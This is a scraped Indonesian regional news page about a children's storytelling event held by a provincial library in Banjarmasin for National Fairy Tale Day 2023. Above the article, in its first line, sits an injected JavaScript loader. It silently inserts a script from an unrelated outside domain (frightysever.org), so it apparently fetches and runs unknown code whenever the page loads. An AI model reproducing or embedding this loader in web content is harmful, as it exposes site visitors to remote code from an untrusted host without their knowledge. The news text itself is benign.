(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Momentum peringatan Hari Dongeng Nasional 28 November 2023 dimanfaatkan Perpustakaan Tendean untuk menghibur anak-anak TK dan PAUD di Banjarmasin.
Perpustakaan di bawah pengelolaan Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel itu menghadirkan pendongeng anak Novea Eka Saputri alias Ka Novi. Ka Novi hadir bersama tokoh bonekanya yang diberi nama Alvin.
Acara bertajuk Perpustakaan Tendean Berdongeng dihadiri puluhan peserta didik dari 10 taman kanak-kanak di Kota Banjarmasin.
Baca juga: Beredar Video Banjir di Pengaron, Kalak BPBD Banjar Pastikan Hoax
Diantaranya TK Aisyiyah Bustanul Athfal 6, TK Mutiara Hati, TK Kartika V-23, TK Asy-Syukru, Raudhatul Athfal Al-Jawiyah, PAUD Terpadu Negeri Pembina, PAUD Restu Ibu, PAUD Terpadu Raudhatul Athfal Al Hanif School, KB Tunas Mulia, dan TK Hang Tuah.
Kepala Dispersip Provinsi Kalsel melalui Sekretaris Endang Camsudin mengatakan, kegiatan berdongeng yang dilaksanakan pihaknya bertujuan memupuk dan mengembangkan literasi anak-anak sejak dini.
“Karena dongeng ini banyak sekali manfaatnya, misalnya untuk pengembangan kosa kata maupun pengembangan emosional anak,” ungkapnya di sela kegiatan, Selasa (28/11/2023) siang
Baca juga: Wabup Banjar Launching 69 Inovasi Daerah dan Monitoring Evaluasi Inovasi Daerah
Lanjut Endang, kegiatan berdongeng bukan kali pertama dilaksanakan pihaknya, melainkan kegiatan yang sudah sering digelar Dispersip Kalsel.
Sementara itu, Ka Novi berharap dongeng sebagai karya sastra lama harus selalu hidup dan dilestarikan dalam masyarakat.
Menurutnya, orangtua sebagai guru pertama bagi anak harus menanamkan nilai-nilai karakter dan budi pekerti yang baik pada anak, salah satunya lewat dongeng.
Baca juga: Bangunan Liar di Trikora Kena SP 2, Disperkim Banjarbaru Bawa Petugas PLN
Seperti tema yang ia angkat dalam kegiatan berdongeng tersebut yaitu mencintai buku, bertujuan membuat anak-anak suka membaca.
“Kepada anak kita juga tanamkan nilai kejujuran dan budi pekerti tentang berbagi,” pungkasnya.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More
This website uses cookies.